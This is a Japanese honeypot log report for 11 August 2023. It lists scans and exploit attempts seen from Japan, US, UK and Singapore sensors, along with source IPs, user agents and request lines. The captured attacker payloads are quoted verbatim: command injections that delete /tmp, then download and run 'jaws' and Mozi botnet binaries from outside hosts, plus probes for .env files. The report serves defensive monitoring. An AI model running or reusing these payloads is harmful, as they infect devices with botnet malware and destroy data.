2023/08/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/08/11分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Tomcatへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
webprosbotによるスキャン行為
/.gitへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  212.8.251.176/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

curlによるスキャン行為
.jsへのスキャン行為

を確認しました。

Location:UK

curlによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
45.81.235.251に関する不正通信

を確認しました。

Location:SG

F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  212.8.251.176/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：100 (前日比：-32)
US：総アクセス数：118 (前日比：42)
UK：総アクセス数：131 (前日比：1)
SG：総アクセス数：99 (前日比：-137)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.82.194.85	China
1	3.84.77.105	United States
1	5.42.95.167	Russia
1	5.42.95.168	Russia
2	5.44.42.25	Russia
14	13.40.8.115	United States
1	18.203.185.183	United States
1	20.98.46.136	United States
1	35.87.111.73	United States
1	36.137.246.78	China
15	43.154.141.71	Singapore
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.181.104	United States
1	49.143.32.6	South Korea
1	64.62.197.6	United States
1	64.62.197.15	United States
3	66.175.213.4	United States
2	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
2	100.27.30.19	United States
1	104.192.0.50	United States
1	105.157.246.22	Morocco
1	107.170.232.49	United States
1	120.85.112.166	China
2	135.125.244.48	France
12	135.125.246.189	France
1	159.65.47.187	United States
1	159.203.224.19	United States
1	160.177.229.157	Morocco
1	165.232.41.218	United States
1	167.94.145.53	United States
1	167.248.133.184	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
1	172.105.128.11	United States
1	172.105.128.12	United States
1	178.72.76.134	Russia
1	183.136.225.5	China
4	185.254.196.173	Ukraine
8	185.254.196.186	Ukraine
2	192.155.90.118	United States
1	205.210.31.12	United States
1	205.210.31.192	United States

UserAgent一覧

件数	UserAgent
4	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
28	`-`
2	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
15	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 OPR/94.0.0.0`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`webprosbot/2.0 (+mailto:abuse-6337@webpros.com)`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01\xfa\x01`
22		`\x16\x03\x01`
2		``
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
31	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
2	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 212.8.251.176/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/v3/time`	HTTP/1.1
1	GET	`/wp-content/`	HTTP/1.1
15	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.122.21	Romania
1	5.42.87.155	Russia
1	5.42.87.157	Russia
1	5.44.42.25	Russia
1	5.196.102.79	France
1	13.53.112.163	United States
15	35.178.210.26	United States
1	36.225.121.126	Taiwan
1	37.139.129.61	Bulgaria
20	43.135.86.121	Singapore
1	45.79.128.205	United States
3	45.79.181.94	United States
1	45.79.181.104	United States
2	45.79.181.251	United States
8	51.79.29.48	Canada
16	54.37.79.75	France
1	64.44.158.109	United States
1	65.49.1.66	United States
1	65.49.1.75	United States
1	65.49.20.68	United States
1	68.183.122.217	United States
1	80.66.88.204	Russia
1	80.76.51.50	Bulgaria
3	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
4	93.90.72.178	Hong Kong
1	103.114.107.36	Vietnam
4	152.32.135.202	Hong Kong
1	152.89.198.113	Russia
2	162.142.125.216	United States
2	162.142.125.217	United States
1	165.22.119.134	United States
1	165.227.126.195	United States
2	167.94.145.57	United States
1	172.104.11.4	United States
1	172.104.11.46	United States
3	172.105.128.11	United States
2	173.82.65.218	United States
1	192.241.203.4	United States
1	198.199.102.29	United States
1	198.235.24.131	United States
1	198.235.24.164	United States
4	207.90.244.11	United States

UserAgent一覧

件数	UserAgent
6	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
10	`'Mozilla/5.0`
39	`-`
4	`Go-http-client/1.1`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101`
1	`Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
26	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`Mozilla_33741328`
2	`Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.31`
1	`curl/7.61.1`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`\x03`
1		`\x16\x03\x01\x01\t\x01`
1		`\x16\x03\x01\x01\xfb\x01`
25		`\x16\x03\x01`
1		`\x16\x03\x03`
1		``
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
28	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/Visu/ens/events`	HTTP/1.1
1	GET	`/WUgI`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
2	GET	`/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab`	HTTP/1.1
3	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php`	HTTP/1.1
11	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/fw6I`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/i3Qo`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
2	GET	`/is-bin`	HTTP/1.1
1	GET	`/jquery.js`	HTTP/1.1
1	GET	`/load`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manage/account/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/new/login`	HTTP/1.1
1	GET	`/news.php`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
3	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/viwwwsogou?op=8&query=%E7%A8%8F%E5%BB%BA%09%E9%BE%90%E1%B7%A2`	HTTP/1.1
1	GET	`/wh/glass.php`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/nation.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.59.254.248	Bulgaria
15	3.10.198.239	United States
1	5.42.87.155	Russia
1	5.42.87.165	Russia
1	5.44.42.25	Russia
1	35.160.192.210	United States
1	36.225.121.126	Taiwan
20	43.129.97.125	Singapore
4	45.33.80.243	United States
2	45.79.172.21	United States
1	45.79.181.104	United States
1	45.79.181.251	United States
1	45.227.254.8	Belize
1	51.77.121.145	France
19	51.79.29.48	Canada
1	51.159.214.49	France
1	64.44.158.109	United States
1	64.62.197.120	United States
1	65.49.1.113	United States
1	65.49.1.115	United States
1	66.175.213.4	United States
2	67.129.123.70	United States
2	69.194.182.221	United States
1	80.76.51.50	Bulgaria
3	83.97.73.87	Germany
1	94.23.133.43	France
2	104.28.195.212	United States
1	104.168.96.242	United States
11	137.184.166.252	United States
2	138.68.81.206	United States
1	143.110.161.213	United States
4	152.32.148.110	Hong Kong
2	157.230.99.127	United States
2	162.142.125.226	United States
1	162.243.145.40	United States
1	170.253.10.250	Spain
1	172.105.128.12	United States
1	172.105.128.13	United States
1	192.155.90.220	United States
1	192.241.218.52	United States
1	192.241.234.43	United States
1	198.235.24.20	United States
1	198.235.24.45	United States
12	207.90.244.11	United States

UserAgent一覧

件数	UserAgent
6	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
10	`'Mozilla/5.0`
45	`-`
4	`FooBarTest`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`Mozilla_33741328`
2	`Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.31`
1	`curl/7.81.0`
1	`msnbot/0.11 ( http[:]//search[.]msn[.]com/msnbot.htm)`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
1		`\x03`
1		`\x16\x03\x01\x01\t\x01`
1		`\x16\x03\x01\x01\xfc\x01`
27		`\x16\x03\x01`
1		`\x16\x03\x03`
1		``
2	CONNECT	`45[.]81[.]235[.]251:4444`	HTTP/1.1
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
22	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
3	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/Visu/ens/events`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/bundle.js`	HTTP/1.1
2	GET	`/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/files/`	HTTP/1.1
2	GET	`/fw6I`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
2	GET	`/is-bin`	HTTP/1.1
1	GET	`/jquery.js`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/load`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/manage/account/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/new/login`	HTTP/1.1
1	GET	`/news.php`	HTTP/1.1
4	GET	`/robots.txt`	HTTP/1.1
1	GET	`/s6Ra`	HTTP/1.1
4	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/vi5H`	HTTP/1.1
1	GET	`/viwwwsogou?op=8&query=%E7%A8%8F%E5%BB%BA%09%E9%BE%90%E1%B7%A2`	HTTP/1.1
1	GET	`/wh/glass.php`	HTTP/1.1
4	GET	`http[:]//test[.]getproxylist[.]com/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/app`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/laravel`	HTTP/1.1
1	POST	`/nation.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.42.87.157	Russia
1	5.44.42.25	Russia
14	18.130.131.137	United States
18	41.140.175.75	Morocco
2	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.172.21	United States
3	45.79.181.104	United States
1	45.79.181.223	United States
1	45.79.181.251	United States
1	45.238.66.141	Brazil
7	51.79.29.48	Canada
11	54.37.79.75	France
1	64.62.197.143	United States
1	64.62.197.144	United States
1	65.49.20.67	United States
1	66.175.213.4	United States
1	66.240.192.82	United States
1	80.66.88.204	Russia
2	80.76.51.50	Bulgaria
1	81.161.229.122	Bulgaria
3	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
1	92.118.236.114	Cyprus
1	93.123.118.14	Bulgaria
1	107.170.230.22	United States
1	114.222.69.37	China
1	120.86.237.223	China
2	139.224.48.39	China
1	150.158.193.54	China
2	162.142.125.223	United States
1	165.22.125.225	United States
2	167.248.133.49	United States
2	167.248.133.52	United States
1	172.104.11.51	United States
1	172.105.77.209	United States
1	172.105.128.11	United States
1	172.105.128.13	United States
1	192.155.90.118	United States
1	192.241.216.43	United States
1	192.241.230.40	United States
1	198.235.24.116	United States
1	198.235.24.134	United States

UserAgent一覧

件数	UserAgent
5	`'Cloud mapping experiment. Contact research@pdrlabs.net'`
35	`-`
1	`Go-http-client/1.1`
1	`Hello, World`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
16	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0`
1	`Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0`
18	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
2	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`MGLNDD_13.67.44.234_80`
1		`\x03`
1		`\x16\x03\x01\x01\xfb\x01`
25		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1		``
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/+CSCOE+/logon.html`	HTTP/1.1
1	GET	`/.env.backup`	HTTP/1.1
1	GET	`/.env.local`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
22	GET	`/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/API/.env`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/admin/index.html`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/api/auth`	HTTP/1.1
1	GET	`/api/pay/query_order`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/bedesk1.1/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/cgi-bin/login.cgi`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/env/.env`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
1	GET	`/manage/account/login`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 212.8.251.176/jaws;sh+/tmp/jaws`
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/test/bedesk1.1/.env`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/mgmt/tm/util/bash`	HTTP/1.1
3	PRI	`*`	HTTP/2.0